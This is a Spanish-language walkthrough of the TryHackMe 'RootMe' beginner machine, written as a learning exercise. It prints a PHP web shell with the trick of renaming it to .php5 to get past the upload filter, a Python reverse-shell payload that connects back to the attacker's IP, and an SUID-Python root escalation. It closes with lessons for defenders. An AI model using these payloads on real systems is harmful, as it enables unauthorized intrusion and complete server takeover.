Write-Up: RootMe (TryHackMe)

En esta máquina diseñada para principiantes, es ideal para practicar tres conceptos fundamentales:

1. Enumeración Web: Encontrar directorios ocultos.

2. Bypass de subida de archivos: Evadir filtros de seguridad básicos.

3. Escalada de Privilegios: Abusar de permisos SUID mal configurados.

Fase 1: Reconocimiento (Recon)

Lo primero que debemos hacer en cualquier auditoría es identificar qué "puertas" tiene abiertas la máquina víctima. Para esto utilizamos Nmap.

Escaneo de Puertos

Lanzamos un escaneo a la dirección IP de la máquina para descubrir los puertos activos.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP_VICTIMA>
        

Explicación del comando:

• -p-: Escanea los 65,535 puertos (no solo los más comunes).

• --open: Muestra solo los puertos abiertos.

• -sS: Escaneo tipo SYN (más rápido y discreto).

• --min-rate 5000: Envía paquetes muy rápido para no perder tiempo.

• -Pn: Asume que el host está activo (útil si la máquina bloquea el ping).

Resultados: El escaneo nos revela dos puertos principales:

• 22 (SSH): Para conexión remota segura. Normalmente necesitamos credenciales, así que lo dejaremos para después.

• 80 (HTTP): Un servidor web Apache. Aquí es donde enfocaremos nuestra atención.

Fase 2: Enumeración Web

Al saber que hay una página web en el puerto 80, necesitamos mapear su estructura. A veces los desarrolladores dejan carpetas de administración o de pruebas "ocultas" que no tienen enlaces en la página principal.

Para encontrarlas, usamos Gobuster, una herramienta que prueba miles de nombres de directorios comunes.

gobuster dir -u http://<IP_VICTIMA>/ -w /usr/share/wordlists/dirb/common.txt
        

Hallazgos: Gobuster encontró dos rutas muy interesantes:

1. /uploads: Suena a un directorio donde se guardan archivos subidos.

2. /panel: Suena a un panel administrativo o de control.

Fase 3: Obtención de Acceso (Explotación)

Al navegar a http://<IP_VICTIMA>/panel, nos encontramos con un formulario simple para subir archivos. Esto es un vector de ataque clásico: si podemos subir un archivo malicioso, podríamos ejecutar código en el servidor.

El intento fallido: Intentamos subir una "Web Shell" clásica en PHP (un script que nos permite ejecutar comandos de sistema). Archivo: shell.php

El servidor tiene un filtro que bloquea archivos con extensión .php.

El Bypass (Evasión del filtro)

Los filtros de subida a menudo son débiles y solo buscan la extensión exacta .php. Sin embargo, los servidores Apache a menudo están configurados para ejecutar también otras extensiones como PHP, tales como .php5, .phtml o .php3.

Renombramos nuestro archivo malicioso:

• De: shell.php

• A: shell.php5

Código de la Web Shell:

<?php echo system($_GET['cmd']); ?>
        

Este código toma lo que escribamos en la URL después de ?cmd= y lo ejecuta en la terminal del servidor.

Intentamos subirlo de nuevo... ¡Y funciona!

Verificación de Ejecución Remota de Comandos (RCE)

Ahora vamos al directorio que descubrimos antes: /uploads. Ahí vemos nuestro archivo shell.php5. Para probar si funciona, añadimos un comando al final de la URL: http://<IP_VICTIMA>/uploads/shell.php5?cmd=id

Si la página nos devuelve información del usuario (ej. uid=33(www-data)), tenemos control.

Fase 4: Reverse Shell (Conexión Inversa)

Ejecutar comandos desde la URL es incómodo. Queremos una terminal real. Para ello, haremos que la máquina víctima se conecte a nosotros.

1. En nuestra máquina (Atacante): Ponemos un "oyente" (listener) en el puerto 4444.

   Terminal - Kali Linux

   
   nc -lvnp 4444
           

En la máquina víctima (Navegador): Ejecutamos un código en Python a través de nuestra Web Shell para conectar de vuelta a nuestra IP.

Payload usado (Esta URL la usamos en el navegador):

http://<IP_VICTIMA>/uploads/shell.php5?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<TU_IP_VPN>,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
        

Ahora tenemos acceso como el usuario www-data. Buscamos la primera bandera (user.txt) con el comando find / -name user.txt y obtenemos la primera flag.

Fase 5: Escalada de Privilegios (PrivEsc)

Ahora somos un usuario con pocos permisos (www-data). Nuestro objetivo final es ser root (administrador total).

Una técnica común en Linux es buscar archivos con permisos SUID (Set User ID).

• ¿Qué es SUID?: Es un permiso especial que permite que un usuario ejecute un archivo con los permisos del dueño del archivo (usualmente root), en lugar de los suyos propios.

Búsqueda de binarios vulnerables:

find / -user root -perm /4000 2>/dev/null
        

• /4000: Busca archivos con el bit SUID activo.

• 2>/dev/null: Oculta los errores de "permiso denegado" para limpiar la salida.

El hallazgo crítico: En la lista aparece /usr/bin/python. Esto es muy peligroso. Si Python puede ejecutarse como root, y nosotros podemos ejecutar Python... podemos ejecutar cualquier código como root.

La Explotación Final

Usamos un comando simple de Python para "generar" una nueva terminal. Como Python tiene SUID, esta nueva terminal heredará los permisos de root.

Comando de escalada:

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
        

Finalmente, vamos a la carpeta /root y leemos la bandera final root.txt.

Conclusión

Esta máquina nos enseñó la importancia de:

1. Sanitizar subidas de archivos: No basta con bloquear .php, hay que configurar el servidor para no ejecutar scripts en carpetas de subida.

2. Gestión de permisos: Nunca se debe asignar el bit SUID a compiladores o intérpretes de lenguajes (como Python, Perl o GCC), ya que permiten una escalada de privilegios trivial.